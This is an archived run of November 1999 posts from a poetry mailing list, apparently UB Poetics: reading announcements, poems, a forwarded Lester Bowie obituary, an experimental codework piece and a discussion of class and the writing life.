>one step up on the social ladder.

Really? Would you kindly explain that? I'm under the impression it's the other way around.

> *And in a village... oh, in a village he (yes, he) is a guru.*

Not necessarily 'he.'

Cheers,
Philip Nikolayev

↑ Index

260. Doug Lang
Re: Diane Ward contact
Fri 12 Nov 1999

[redacted]

[redacted] wrote:

> *Dear All,*
>
> *I can't seem to find an email for Diane Ward (the Diane Ward in L.A.) Does anybody out there have it?*

> *Rae Armantrout*

↑ Index

261. Katherine Lederer
Double Happiness, NYC 11/13
Fri 12 Nov 1999

Segue @ Double Happiness
Saturdays from 4:00 to 6:00 pm.
Double Happiness is located at 173 Mott street,
just south of broome. A 4$ contribution goes to the readers.

November 13: Martin Corless-Smith, Kevin Larimer

Martin Corless-Smith is from Worcestershire, England. His first book Of Piscator was published by University of Georgia Press. His second, The Garden a Theophany. Or ECCOHOME: A Dialectical Lyric was published by Spectacular Books. A chapbook based on a translation of Lucretius' De Rerum Natura recently came out from 811 Books.

Kevin Larimer's work has appeared in Explosive Magazine, The Iowa Review, and Skanky Possum. He lives in New York City.

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262. Maria Damon
Re: MLA panel on "The Performed Text"
Fri 12 Nov 1999

---

i'm writing a book called "poetics for a post-literary america," and i've used the phrase "post-literary poetics" and "post -literary poetry" in my writing. can i initiate a discussion by asking what *you* mean by "post-poetics"? it's intriguing.

At 5:22 PM -0500 11/11/99, Susan Vanderborg wrote:
> A MLA convention panel on "The Performed Text: Toward a Post-Poetics
>for the New Millennium" that might be of interest to some of your
>subscribers has been listed incorrectly in the MLA convention program.
>
> The correct date and time for session 455 should be:
>
>Tuesday, December 28th, 8:30-9:45, the Burnham room in the Hyatt Regency
>hotel.
>
>

> (Right now it is listed incorrectly at that same time but on Wed. 29th)
>
> The session features Michael Davidson's discussion of the gestural
>performances of Aaron Williamson and other deaf poets, Ming-Qian Ma's
>study of visual and acoustic topography in Christian Bok's
>Crystallography, and Susan Vanderborg's discussion of Cells of Release by
>visual artist Fiona Templeton.
>
> There will be a signing interpreter at the panel.

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263. **Michael Neff**

"Sensation": The Exhibit (reduced 1000X)

Fri 12 Nov 1999

---

btw, this poem was rejected by a major NY editor; according to this editor fellow, he would be a hypocrite if he published it given his reputation for supporting freedom of expression, i.e., the NY exhibit in question.

"Sensation": The Exhibit (reduced 1000X)

Inconclusive provocations bio-lit

the dull chute tent of Emin's sex life,

1963-1995, chummed death from formaldehyde,

loud zygotics of ponder and bloating

species in the cachet churn of Saatchi.

Out-split pigs, there, lunch boxes of giftshopped face

carnage assemblaged. Do we mature by killing, stuffing,

or by creating offense? Ofili's Ave Turd Maria

smeared before Leibovitz. Now the frozen

blood bust of Quinn merged and Bowie was not de-sublimated,

sniffing a proboscis of fiberglass penis for $9.75

Beyond the zoo oeuvre--parroted plop, elephantine turd,

monkey nipple-- an artist laid down his shovel

and as that shovel lay hardening with a warm fecal crust,

he faced stupefaction, and he doubted his own conundrum.

↑ Index

264. **Stephen Ellis**
Re: Business, class, access
Fri 12 Nov 1999

The rhetoric of setting apart also involves that sense of "sacrifice" meaning "to make sacred" - "sacred - to set apart in honor of". "To set apart" also implies "devotion to." (Isolation?) Devotion to what, tho, in this case? What's the object? Victimization in this (& maybe, how shall we say it, "all?") case(s) has to do with hierarchy, and so is a poetic problem, a religious problem, an identification of position problem, an identification of species problem, a money problem, a social problem & on. If "setting apart"

implies a sacralization, and sacralization, a division (of labor, of sex, of knowledge), then the best we can hope for is that conservatorship which sets itself apart by setting apart those they are able to, from each other. Teleology

has its finger on EVERYBODY'S button, it being in fact a shredding technique on the way to gathering "the world" up into a square box with three compartments, the guts, the heart and the head corresponding to the beast, forest and stone that gets worked into the achieved flock, garden and city, these last all the result of the glancing blow that destroys the whole in a metonym of parts that nevertheless point back to all varieties of some "golden age." Victimization in part rises in response to a sentimental urge to "remember" - or even attempt to recover - some just sense of "animal moving freely through animal" (animation!). Yet

there's a hole in the side of the bucket that bleeds off the reservoir that might otherwise produce the material analogy through which to accelerate beyond and more fully into exactly what we're currently in - the WHOLE world which by definition (naming) we can not have in any form that is also not the wound in consciousness that is consciousness itself, a protection racket, and what we're ALL victimized by. Ie., the blood from the hole in the side of the bucket remains the Roman sewer that runs straight up the defining thermodynamic "clock" of Wall Street, where libido is factored into (a) priveledge, toward which one must nevertheless "be on time." Like, to your own sacrifice. However one approaches these appointments, it's never the simple matter of going to them, but far more one of being either and or both frozen by, and overwhelmed by, their exaction. - S E

> *From: "Nielsen, Aldon" <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Business, class, access*
> *Date: Thu, 11 Nov 1999 10:20:14 -0800*
>
> *At 07:26 PM 11/9/99 +0000, you wrote:*

> *During this recent discussion on class I have been accused of being a "victim" of "making excuses" and of being "a spokesperson for persons who sort lettuce." That these are all personal attacks is significant, as well as tiresome.*
>
> *It would seem that Kathy was being insufficiently a victim -- and thus becomes a target of victimization --*
>
> *This _does_ have something to do with poetics --*
>
> *"victim" L _victima_; akin to OHG _wih_ holy, Skt _vinakti_ he sets apart*
>
> *The rhetoric of setting apart -- a good description for the responses to the issues Kathy raises*

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265. Ron Silliman
Cities & the outlands
Fri 12 Nov 1999

"Like in Russia a native of Moscow coming to St. Petersburg is automatically moving one step up on the social ladder."

"Really? Would you kindly explain that? I'm under the impression it's the other way around."

My impression has been that the Moscow/Petersburg relationship was not unlike the SF-LA (or SF-NY, or Boston-NY, Dallas-Houston, etc etc etc) one as well. People from city X say that their city is a big step up from those of city Y, those from City Y just reverse the equation.

Then there are those who live outside one of the major metropolitan areas, who have a whole other series of relations to deal with.

I've been much pleased here to see the evidence of active scenes in Atlanta, New Orleans and other US cities not always thought of "from the outside" as having large poetry scenes. It adds a lot to the list and to discussions generally.

Those of us in the Philly area ran around last night to hear first Kit Robinson at Writers House and then Mei-Mei Bersenbrugge & Deborah Richards at Temple's Old City Gallery. Today we're giddy with all that language (3 very different writers) echoing around in our heads.

Ron Silliman

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266. Al Filreis
Watten DuPlessis Writers House webcast
Fri 12 Nov 1999

PhillyTalks at the Kelly Writers House

with Barrett Watten & Rachel Blau DuPlessis

Monday November 15

beginning at 6 PM eastern time

will be webcast live.

The first 35 people who respond to this invitation will be able to "connect" to the webcast signal--and then see and hear the program (and to pose questions or comments during the discussion).

relevant links (for further information):

PhillyTalks, founded & curated at the Writers House by Louis Cabri:
http://www.english.upenn.edu/~wh/phillytalks/

the Kelly Writers House:
http://www.english.upenn.edu/~wh/index.html

fall 1999 schedule of live webcasts, including recordings
of a conversation with Marjore Perloff & Bob Perelman on
Stein, a reading by Shawn Walker, and a symposium on
Williams's "To Elsie":
http://www.english.upenn.edu/~wh/webcasts/

the Writers House calendar:
http://www.english.upenn.edu/~wh/calendar/

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267. Alan Sondheim
for + i love your feelings
Fri 12 Nov 1999

/
/

for

sn less ww si tr ertsahmnid ertsahmnid < ww > zz sd pico zz ae sed
's/rr/++/g' zz > ww ar pico ww at rm ww as pico zz aa h ah h >> zz
s
HIROSHIMA for Those who Insist on the Letter of the Text
rrrranmi dG
for Those who Tremble before its Embrochure
GH O GHMA rrrrrrr: rArA anmi dtmF dsmn mimD mrrA ..GH O GHMA.
eeeeeee:
eAeA anmi dtmF dsmn mimD mrGH O GHMA.rrrr eeeeere: srsr srseA srsr srsr
..A tesr mrsr mrte sasn smsi tesd rrr: rArA anmi d eeeeete: stsm mmte sdss
smsn tesm sism mate smsr tmF dsmn mimD mr eeeeese: srmr tete tete tete
tete tete tete tEtE rA .. eeeeeae: anmi dtmF dsmn GH O GHMA.. GH O GHMB
mimD mrtE eA ttttttt: tBtB anmi dtmF dsmn mimD mttB ..GH O GHMB.
for Believers
    X
for Those who Skins like Burning Flags Carry their Prayers
sss;; """++ Wi ? ni=r """++
for the Fear of Numbers
    G   """++ GH O GHMA
for Those who Read the Attitude of Bodies
HIROSHIMA rrrrrrr: rArA aimd ntmF nsmi mdmD mrrA ..HIROSHIMA.
eeeeeee:
eAeA aimd ntmF nsmi mdmD mreA srsr srsr ..HIROSHIMA.rrrr eeeeere: srsr
srsA tesr mrsr mrte sasi smsd tesn rrr: rArA aimd n eeeeete: stsm mmte
snss smsi tesm sdsm mate smsr tmF nsmi mdmD mr eeeeese: srmr tete tete
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    YS
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for Those left Breathlessly with Minds Intact
sss;; """++ XdR?Vid=r """++
for the Comfort of Heads
eAeA aimd ntmF nsmi mdmD mreA srsr srsr ..HIROSHIMA.rrrr eeeeere: srsr
srsA tesr mrsr mrte sasi smsd tesn rrr: rArA aimd n eeeeete: stsm mmte
snss smsi tesm sdsm mate smsr tmF nsmi mdmD mr eeeeese: srmr tete tete
tete tete tete tete tEtE rA .. eeeeeae: aimd ntmF nsmi mdmD mrtE eA
for Minds and Ashes, for These Days, for The Days to Come

I love your feelings

I love your feelings, When I'm tired, and life's dreary / I wait for my Julu to return to me. / When life's a bore and I know there's more, / I mate with Julu, heavily. / When times are hard, and I'm all alone, / Julu throws me quite the bo ne. / Oh Julu, you're so heavenly! / ... Driven by defrag relentlessly towards you... Sometimes more and sometimes less / Julu comes and then's I'm blessed, / with sometimes more, and sometimes blessed! /:When I'm all alone and no one's home, / Julu comes and then we'll roam. / We'll fly up high, and sometimes sigh / for days gone bye, / July and me! /:When I'm tired, and life's dreary / I wait for my Julu to return to me. / When life's a bore and I know there's more, / I mate with Julu, heavily. / When times are hard, and I'm all alone, / Julu throws me quite the bone. / Oh Julu, you're so heavenly! /::So heavenly, when I'm all alone / Would When I'm tired, and life's dreary / I wait for my Julu to return to me. / When life's a bore and I know there's more, / I mate with Julu, heavily. / When times are hard, and I'm all alone, / Julu throws me quite the bone. / Oh Julu, you're so heavenly! / Sometimes more and sometimes less / Julu comes and then's I'm blessed, / with sometimes more, and sometimes blessed! /, with us? Your bones are your forcloseing? When I'm all alone and no one's home, / Julu comes and then we'll roam. / We'll fly up high, and sometimes sigh / for days gone bye, / July and me! / Now and then you'll come to me / So heavenly, when I'm all alone / You knock so soft, you'll throw the bone / When I'm all alone, when I'm all alone /

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268. Tom Beckett
Benjamin's ARCADES PROJECT
Fri 12 Nov 1999

Walter Benjamin's ARCADES PROJECT is at last available in English. It weighs in at over 1000 pages. I got my copy from Amazon. It retails for 39.95 but the Amazon price (including shipping) is 31.92 total. I recommend it.

TomB.

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269. Todd Baron /*/ ReMap Readers
Re: Diane Ward contact
Fri 12 Nov 1999

[redacted] wrote:
>
> Dear All,
>
> I can't seem to find an email for Diane Ward (the Diane Ward in L.A.) Does

> anybody out there have it?
>
> Rae Armantrout

rae : she doesn't co-respond on the inter-net

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270. K.Angelo Hehir
Trumpeter Lester Bowie Is Dead at 58
Fri 12 Nov 1999

> *November 11, 1999*
> *Lester Bowie Is Dead at 58; Innovative Jazz Trumpeter*
>
> *By BEN RATLIFF*
>
> *The trumpeter, band leader and composer Lester Bowie, an icon of the experimental movement in jazz from the mid-1960's on who was also known for his comic shows and jazz-based treatments of pop music, died on Monday at his home in Brooklyn. He was 58.*
>
> *The cause was liver cancer, said his brother Byron.*
>
> *Best known as a member of the Art Ensemble of Chicago, Bowie performed and recorded for more than 30 years. In that group he developed the two things that would brand him: his knowing, Groucho Marx-like sense of humor, expressed musically and otherwise, and his appearance. In most performances he wore a long white lab coat and his narrow face was bracketed by a flat-top haircut and a sharp goatee. In publicity photos he was rarely seen without a cigar.*
>
> *His early working experiences were in rhythm-and-blues bands, and a slow, expressive blues was his specialty.*
>
> *But the most famous part of Bowie's trumpet language was timbral effects -- glissandos, smears, growls, flutters, half-valved winces and other vocalizations that worked their way into the style of almost every self-consciously experimental jazz trumpeter who came after him, including Butch Morris, Dave Douglas, Herb Robertson and Roy Campbell.*
>
> *His recordings often seemed like prankish arguments that the only way to understand jazz is to see it both in carnivalesque and intellectual contexts, to play circus music and modernist post-bop, pure hit-parade pop and nearly academic composition.*

Bowie was born in Frederick, Md. His father was a trumpeter who turned to high-school teaching after striving for a performance career in classical music.

At age 5 Bowie was playing trumpet in daily practice with his father, and he played in dance bands as a teenager.

He joined the Army at the age of 17 and was stationed in Texas, where he served as a military policeman.

Bowie credited his career longevity to the four years he spent in the service. After his discharge he played in bands led by blues and rhythm-and-blues performers including Albert King, Jackie Wilson, Rufus Thomas and Joe Tex, and was privately rehearsing more experimental music with St. Louis musicians like Julius Hemphill and Oliver Lake.

He married a rhythm-and-blues singer, Fontella Bass, and moved to Chicago in 1965 to become her musical director; during that period Ms. Bass recorded "Rescue Me," which became a major hit on radio. The marriage ended in divorce.

In Chicago Bowie worked with a big band led by George Hunter and played in rhythm-and-blues studio sessions, including many for Chess Records.

Tiring of the grind, he followed the advice of a saxophonist colleague named Delbert Hill and attended a composers' workshop led by the pianist Muhal Richard Abrams.

Many of those in the workshop, including Roscoe Mitchell, Henry Threadgill, Joseph Jarman, Anthony Braxton and Jack DeJohnette, would in the next decade become major figures in the new jazz.

Abrams's workshop bands formed the nucleus of the Association for the Advancement of Creative Musicians, the nonprofit cooperative first organized in 1965.

Mitchell created a band with three other A.A.C.M. members: Bowie, the bassist Malachi Favors and the drummer Phillip Wilson. When Wilson left, the band had trouble finding a replacement. Out of desperation its members incorporated small percussion instruments -- gongs, bells, shakers -- into their group improvisations. This sound would be one of the staple gestures of the music played by the Art Ensemble of Chicago, which the Mitchell group became in 1969.

By Bowie's reckoning, the Art Ensemble of Chicago rehearsed about 300 times a year in Chicago and gave only a handful of performances because

there was almost nowhere to present their music.

So they traveled to France, where there was curiosity about American experimental jazz. They made six albums in two months and performed hundreds of times in their two years there. The band played blues and Bach fugues and percussion interludes and hooting free-improvisation pieces and wore tribalist face-paint.

The Art Ensemble's notoriety followed it back to the United States, and the group was soon recording for Atlantic Records.

By the mid-70's the Art Ensemble had an easier time reaching large audiences. The band soon came to define an esthetic involving ethnic music, humor, eclecticism and physical intensity that had a considerable impact.

In addition to his brother Byron, of Frederick, Bowie is survived by his current wife, Deborah; his father, W. Lester Bowie Sr., and another brother, Joseph, both of Frederick; six children, Larry Stevenson of Sardinia, Italy; Ju'lene Coney and Nueka Mitchell of St. Louis; Sukari Ivester of Chicago; Bahnamous Bowie of Queens, and Zola Bowie of Brooklyn, and 10 grandchildren.

During the 1970's Bowie spent two years in Jamaica playing and teaching trumpet and took a brief trip to Nigeria, where he became a sideman on three records with the popular bandleader Fela Anikulapo Kuti.

Bowie started one new band after another, always surrounding himself with work and often undertaking his own business affairs without a manager. He led a quintet and a gospel group, From the Root to the Source. In the early 80's, he formed the New York Hot Trumpet Quintet, which briefly included Wynton Marsalis. Later Bowie and Marsalis would often be cited in contrast in debates on the issue of futurism versus traditionalism in jazz.

He assembled a 59-piece band called the Sho Nuff Orchestra for a concert at Symphony Space in Manhattan. His octet Brass Fantasy, formed in the mid-80's, performed versions of pop and funk tunes by artists like the Platters, Michael Jackson and James Brown, and recorded for the ECM, DIW and Atlantic record labels. The group's last album was the 1998 "Odyssey of Funk and Popular Music, Vol. 1."

In recent years Bowie set up the Hip-Hop Feel-Harmonic, an unrecorded project with rappers and musicians in his Brooklyn neighborhood of Fort Greene.

His sly sensibility won an appreciative following. An enduring example was his track "Jazz Death?" from a 1968 album by Roscoe Mitchell's band,

> *"Congliptious." It begins with Bowie's dramatically clearing his throat and asking, "Is jazz, as we know it, dead yet?"*
>
> *The reply is a long trumpet solo punctuated with silences, muted wah-wah passages, Bowie's own off-horn shrieks and murmured comments, and finally, six minutes later, a sentence: "Well, I guess that all depends on, ah, what you know."*
>
> ---
>
> *Copyright 1999 The New York Times Company*

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271. Maria L. Zavialov
class, gender etc
Tue 1 Jan 1980

> *Like in Russia a native of Moscow coming to St. Petersburg is automatically moving*
> *one step up on the social ladder.*

> Really? Would you kindly explain that? I'm under the impression it's the
> other way around.
Philip, I see why you are confused, I meant Muscovites just visiting those other places and retaining their status of a metropolis-dweller. Of course their raised status is virtual but it's no less real for that.

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272. Kyle Conner
HIGHWIRE READING
Fri 12 Nov 1999

ONE MORE TIME...

> **********
> > HIGHWIRE GALLERY READING SERIES
> > 129 N. 2ND STREET, PHILADELPHIA
> >
> > SATURDAY, NOVEMBER 13, 1999
> > 3 PM
> > BYOB
> >
> >
> > John Colleti and Heather Starr
> >

> >
> > Following the reading, follow your leaders Kyle and Greg to Anthony's
> Olde
> > City Pub for some only-in-Philly rot-gut. At 7:30 PM we'll all got to
> > Giovanni's Room. C.A. Conrad will host a group reading to celebrate the
> > publication of the Exquisite Corpse anthology published this year by
> Black
> > Sparrow.
> >
> > John Colleti is a totally righteous dude. He is art director for Nylon
> > Designs and is currently collaborating on a series of plays.
> >
> > Splayed Subtext
> >
> > Rendezvous 8th AVenue Nite Aid Hot Roles
> > Farsighted Where Minds Play Wild Discovery
> > Don't Throw Your Life Away Phoenix House
> > Nearsighted La Nueva MEGA Know How
> > Many Days Are Left A Story Inside Every Jacket
> > Rockaway Call Us? We Can Help/Sponsored By
> > Air France 6 AV New Jersey Rocking Rollers
> > Daily News Television Helping To END TV
> > At CUNY Open 24 Hours Subway Maps IPO
> > To Fetch Banana Republic Record Stores Wild
> > Discovery Of The Modern Are From The WINE
> > STOP To Street The Siege The New York Eye &
> > Infirmary Circuit Avenue Home? Whatever
> > It's In L O O T
> >
> > Heather Starr is Program Manager for the Writer's House. She's given
tons
> > of props to the Philadelphia poetry scene, so don't be lazy, come out
and
> > support Heather.
> >
> > This Bow and Arrow
> >
> > cast a shadow. ribs of color.
> > all i noticed was the curve.
> > worn white stones. constant drifting.
> > not target, and no open field in between.
> > can you shoot an arrow safely over

> > seas? strange weaving of arms.
> > a young man from Ottawa, his face turned.
> > a plank to water the island
> > of irises. here, let's go back to town.
> > we've been walking so long with our hands full.

8 PM 8PM 8PM 8PM 8PM 8 PM 8PM 8PM 8PM 8PM 8 PM 8PM 8PM 8PM 8PM 8 PM 8PM 8PM 8PM 8PM

Saturday November 20, 1999

Carol Mirakove and Heather Thomas

Carol Mirakove is launching her new book published by Ixnay (Philadelphia).

Heather Thomas is an editor of 6ix Magazine and a Professor in Kutztown.

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273. Melisa Cahnmann

Laughing Hermit Series: Poets, Gary Short and Jan Heller Levi

Fri 12 Nov 1999

2pm, poets Gary Short and Jan Heller Levi
****

LAUGHING HERMIT READING SERIES
3805 Locust Walk on UPenn's Campus, PHILADELPHIA
SATURDAY, NOVEMBER 20, 1999
2pm

Poets Gary Short and Jan Heller Leviwill be reading Saturday November 20 at 2pm for the Laughing Hermit Series at Kelly Writers' House, 3805 Locust Walk on UPenn's campus.
See the web site for more details:
http://www.english.upenn.edu/~wh/laughinghermit/

BIO: Gary Short has been a Stegner Fellow at Stanford and a resident of the Fine Arts Work Center in Provincetown. He is the author of Theory of Twilight and a second book of poems, Flying Over Sonny Liston, which received the Western States Book Award.

He is from Nevada, and from 1997-99 was the writer-in-residence at the University of Alaska, Fairbanks. He currently teaches at Old Dominion University in Norfolk, Virginia.

POEMS: GARY SHORT

Psalm

The sky is the healing wound
of St. Agatha. New light
cast on the seven dead geese
stacked in the bed of the truck.
Their wings stiff around their bodies
make them cocoons of former flight.

The boy’s breath, like a white wing,
hangs in the air above him.
His ears pink with wind,
the steel ridges of the truck bed
stripe his jeans with cold.
The sleeping dog rides in the back with him.
He can hear his father & two uncles
in the cab laughing. Their heads bob
between the guns on the rack.

On some of the geese the eyes are open.
A non-living eye not quite clear,
like the clouded face of a watch.
He thinks of flying, how it would feel
to have nothing surround you.

You can hear their call
long before you see them.
He remembers hearing a flock
on another morning, Geese
stitched across the gray cloth of sky
just before the sun rose
red over the uneven mountains.

The birds flying over a boy’s sleep,
distant voices lifting up memories—
that distant call
made him want to be good.
The truck rattling over a cattleguard startles
the boy alert & he hears a moan.
At first he thinks it’s the dog,
dreaming after birds.
But then another drone releases
from one of the geese.
He had watched them fall, spin around
& crumple like a kite in a dive, dying in midair.

Now he sorts through the bodies,
black heads, pliant collared necks,
plush silvered breasts piled
limp & ruffled. He finds the goose
& holds it, unfolds the shut wings.
In the soft rush
of riffled feathers he feels
the clotted blood where shot entered.

Opening the black visors of the bill,
he covers the nose holes with his fingers
& blows a few breaths of air
into the silty hollow of the bird.

And the dead bird gives back
the boy’s own breath
in distinct syllables, nasal & conversational,
before the bill goes slack.
Then the boy breathes harder into the goose,
cradles it & listens

until there is music, a swell of air
returned over the bird’s vocal cords, a purr,
a dirge, a lost-soul quaver.
A blue cone of sound, human-made,
or made human.

Gathering

All night the bent apple trees
drop their fruit in the storm,
& I don’t hear one fall, not one.

What else fell while I slept?

The twisted limbs glitter silver
in the early sun. A blur of bees
dizzy among broken apples on the ground.

At first waking I’m confused
& mistake the busy dance
as warm blossoming,

when the bees need nectar & the flowers
need pollen to be moved. I think
that’s how it works, but
I admit to confusion

about the sexual affinity
of apple trees and bees.

These bees swarm the full-grown overripe fruit.
They are drawn
to sweetness. I have known for a long time

the seduction of an apple.
In fourth grade I shared my snack of graham crackers
& quartered apple with Adrian Vucinich.

To impress her, I would bite the crackers into outlines
of states, accepting requests—
Idaho, Illinois,
the difficult shape of Texas.

I know
it was only the love of a small boy,

but a small thirst
accumulates, as I've learned again from the sparrows
that sip this morning from pocket mirrors of water
in the hoofprints of cattle.

Perseid

A meteor breaks
through the late-summer night,
a white blossom scattering, furiously.

It doesn't make a noise,
at least none
that we can hear.

It disappears in all directions—
demonstrating desire
& its difficulty.

There. The half-moon floating
thin & translucent
as a cicada's wing. We say the moon is

half-full,
even as it wanes.
So much longing…

To witness the unfolding
across distance. How we must look
to anyone watching.

Here is the star cage.
Here the still life with black clock.
Here is the sparking wish, scattered.

Please see web page for Jan Heller Levi's poems:

BIO: Jan Heller Levi, born in New York City and raised in Baltimore, is the 1998 winner of the Walt Whitman Award of the Academy of American Poets for her first collection of poems, Once I Gazed at You in Wonder, published by Louisiana State University Press in April 1999. In 1998, she was also awarded the George Bogin Memorial Prize from the Poetry Society of America. Her poems have appeared in a number of literary magazines and anthologies, including Graham House Review, New Orleans Review, Poetry East, and Pequod; have been translated into German, and published in Switzerland in the St. Galler Tagblatt, Wochenzeitung, and drehpunkt. She is the editor of A Muriel Rukeyser Reader (W.W. Norton), named by Choice Magazine as "One of the Best Books of 1994" and included in Utne Readers' 1998 "Loose Canon" List of 150 Great Works to "set your imagination on fire." Levi has been a fellow at Yaddo several times; was named the George and Kate Kendall Fellow for her 1997 residency at the MacDowell Colony; and awarded the Diane Cleaver Fellowship for a September 1997 residency at Ledig House International Colony for Writers, Editors, and Translators. She is married to the Swiss novelist and playwright Christoph Keller, and divides her time between St. Gallen, Switzerland and New York City. She is currently working on a biography of Muriel Rukeyser, to be published by Alfred A. Knopf.

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274. David Kirschenbaum
I Need Good Email Address on Second Story Books
Fri 12 Nov 1999

Hello list,

Had two emails I send to Mary Burger at SF's Second Story Books kickbacked. If Mary is here please backchannel me, or if someone has good info please do the same.

as ever,
David Kirschenbaum, editor
Boog Literature, NYC

_____ Get FREE voicemail, fax and email at http://voicemail.excite.com Talk online at http://voicechat.excite.com

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275. Carol L. Hamshaw
Re: MLA panel on "The Performed Text"
Fri 12 Nov 1999

---

what city please

Susan Vanderborg wrote:

> *A MLA convention panel on "The Performed Text: Toward a Post-Poetics for the New Millennium" that might be of interest to some of your subscribers has been listed incorrectly in the MLA convention program.*
>
> *The correct date and time for session 455 should be:*
>
> *Tuesday, December 28th, 8:30-9:45, the Burnham room in the Hyatt Regency hotel.*
>
> *(Right now it is listed incorrectly at that same time but on Wed. 29th)*
>
> *The session features Michael Davidson's discussion of the gestural performances of Aaron Williamson and other deaf poets, Ming-Qian Ma's study of visual and acoustic topography in Christian Bok's Crystallography, and Susan Vanderborg's discussion of Cells of Release by visual artist Fiona Templeton.*
>
> *There will be a signing interpreter at the panel.*

--
Carol L. Hamshaw
Administrator

Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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276. **levitsk**
Re: Business, class, AMMIANO
Fri 12 Nov 1999

RD Levitsky writing from the Villa:

Karen Finley, I am paraphrasing, agreed with Williams, put it in more dire terms, a victory to get of bed in the morning. I got lost driving around the suburbs of the silicon valley yesterday on my way to teach the "peerless poets," a group of self described young seniors, who meet each week in a surburban living room. It's all impressive, living in these black tops and worrying about the root of one tree pushing on the roots of another.

Ammiano--I for one, and I for another, the poet I, was enlivened, brought back into the culture, as in the momentary spat of AIDS/Sex politics street activism, momentarily, hope--is not this why we write and what makes us stop (loss of) when we do. To me, the writer must be an innocent despite being weighted with the world. Same with the activist. More to say but I 'm sure it will be said.

A Little on Class--Many of us I would consider to be in a "mutt" position in amerika, this land in which there are so many versions, the one here in the valley which places a gate between the smaller houses and the bigger houses another one which places a gate between my state education and your ivy league education and your high school education, and the one which separates the first generation amerikan to a second, a pink from a brown from a tan from a hooked nose etc.

Being a mutt, as being an exile, as being an outsider, may be a necessary or endemic position for writing.

An anecdote: I once taught welfare recipients, through one of those abominable BEGIN (END) programs. When discussing class, my students, many of them told me they considered themselves middle class--as marked by their housing and their possessions.

I for one am of the leisure class -- or so my father would say.

Love,
Rachel
From: Joe Amato <[redacted]>
To: [redacted] <[redacted]>

Date: Wednesday, November 10, 1999 2:52 PM
Subject: Re: Business, class, access

>david b, i think i find mself on the opposite side of the table from you,
>and sitting next to kathy lou, when it comes to this issue of class... and
>i think you know this (based on SO many of my posts to this list in the
>past, dealing specifically with this issue)... so i hesitate to try to
>persuade you of my way of looking at things, esp. b/c i regard my way of
>looking at things as opening to some relatively elemental and utterly
>urgent realities... but what the hell, it's twixt friends, or virtual
>friends, or acquaintances, or whatever... so i'll give it a whack, and i'll
>be deliberate...
>
>you speak of "classism" as something that "exists"... not an esp. strong
>claim, from where i sit... but my question would be, how does it exist? and
>why does it exist? and esp., in the context of what i would loosely call, a
>tad archaically, *the writing life*...
>
>of course there's all sortsa room here for idiosyncracies, but---
>
>and of course i believe that most writers will ultimately, *should*
>ultimately find a way to write, but---
>
>these allowances don't in themselves obviate a discussion of (e.g.)
>class-based struggle... say, as it relates to writing process and product,
>but also as it relates to our perceptions of what we are about as
writers...
>
>if classism exists, then i take it class too exists, right?... i mean,
>there *are* economic classes, right?... and one's entrance into---or
>exclusion from---such classes is not entirely within one's (individual)
>control, yearn or aspire or endeavor or resist as one may-----right?... (i
>won't go into that class item most frequently discussed hereabouts---that
>of the shifty-ness of class markers)...
>
>ok: if i aspire, say, to $60K per annum (among other aspirations) i
>probably better figure on doing something besides just writing poetry,
>right?...
>
>(oh hey---i'm not ashamed to say i aspire to $60K/yr either, anymore than i
>am of aspiring to write poetry)...
>

>further, if i decide to write poetry, whatever my economic aspirations,
>this latter decision will impinge upon my life *somehow*, right?... given
>that money doesn't grow on trees, i might find---in all likelihood, i
>probably will find---that the demands relating to making ends meet do not
>coincide, neatly or productively (at least, not all of the time, perhaps
>not most of the time), with the demands of writing... right?...
>
>or to borrow from williams (_paterson_ book iii, part ii), albeit to my own
>class-specific ends:
>
> The writing is nothing, the being
> in a position to write (that's
>
> where they get you) is nine tenths
> of the difficulty; seduction
>
> or strong arm stuff. The writing
> should be a relief,
>
> relief from the conditions
> which as we advance become -- a fire,
>
> a destroying fire. For the writing
> is also an attack and means must be
>
> found to scotch it -- at the root
> if possible. So that
>
> to write, nine-tenths of the problem
> is to live.
>
>spoken by an m.d., yep... so, everything in my life (in *my* life, mind you
>david) tells me that "to live" is, in an important and (again) utterly
>urgent sense [the one having to do with earning a living such that doing
>same supports my writing---which in my view i deal with on a daily basis],
>an economic issue... hence (if i may) a class issue...
>
>none of this is absolute or inevitable, no, and surely some of this is a
>matter of emphasis (among other things)... but in some sense one might
>observe that *it may as well be* absolute and inevitable, david... b/c
>that's how the world is constructed, no?---or so it seems to yours truly...
>and if it seems so---to me, e.g.---sometimes and in some ways (at least) it

>probably *is* so, ain't it?... and that it seems so is, at least, itself a
>mark of the classism to which you refer, yes?...
>
>unless i'm hallucinating, i mean, and unless i've been hallucinating for lo
>these many years... always a possibility, sure...
>
>BUT i'm not sure, in all, why you would resist the class issue as a
>writing/publishing issue, in the very terms kathy lou has introduced... i
>don't think the "urgency" i point to suggests evangelical fervor, either,
>and for that matter, i didn't 'hear' same in kathy lou's posts... in all,
>the effect of yours and others' resistance on this count, it seems to me,
>is to move "us" away from a willingness to deal with class specifics (and
>associated complexities, incl. btw intimacies of various sorts, as well as
>this question of how the biz of poetry relates to the practice of same)...
>that is, resistance here, even outright skepticism, has the effect of
>helping to shut down what appears to me to be an entirely reasonable and
>entirely necessary exchange (and of course you're not alone in such
>resistance either---i mean, if i'm picking on you a bit here, and i am, i
>could as well have picked on stephen ellis, pleased to make your
>acquaintance stephen)...
>
>: we can, some few of us, just get on with it without your participation
>as such, i know... hence in no sense is your resistance to be understood as
>the "final word" or some such (anymore than is *this* post to be taken as a
>hostile intervention)... but as class is, like classism, difficult to
>discuss for many of us (though perhaps not for you), we're just as likely
>to say to ourselves, when greeted by such skepticism, *why bother?*...
>again, disagreement is one thing, but some of what passed before my eyes of
>late appeared to me either to be dismissive of kathy lou's concerns, or to
>be asking of kathy lou that she *defend* her assertions (stephen's opener
>"hits a particular nail square on the head, but doesn't drive it anywhere"
>a case of the latter, i think, and your "[t]his unfounded belief
>perpetuates itself in not having these opportunities become manifest"
>heading distinctively toward the former)...
>
>and if this post provokes a "why bother?" reaction in you, david (or
>stephen), my apologies---and i mean it... as in so many recent exchanges
>"around here," it just seems to me that the conversation has become
>unnecessarily contentious precisely when a bit less skepticism and a bit
>more goodwill might have produced some insights, and might have drawn
(some
>of) us a bit closer together in the process, if only for a moment...

>
>i only wish i could have said all this with sense of humor intact...
>
>best,
>
>joe
>

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277. **Michael Neff**
Re: class, gender etc.
Fri 12 Nov 1999

Dear Masha,

Go to Kentucky, look around, start there, see poor, dirt floors, rags and rust. "all be said"? I don't think so. There are tens of millions of poor in this country.

Commence to ciphering.

MN

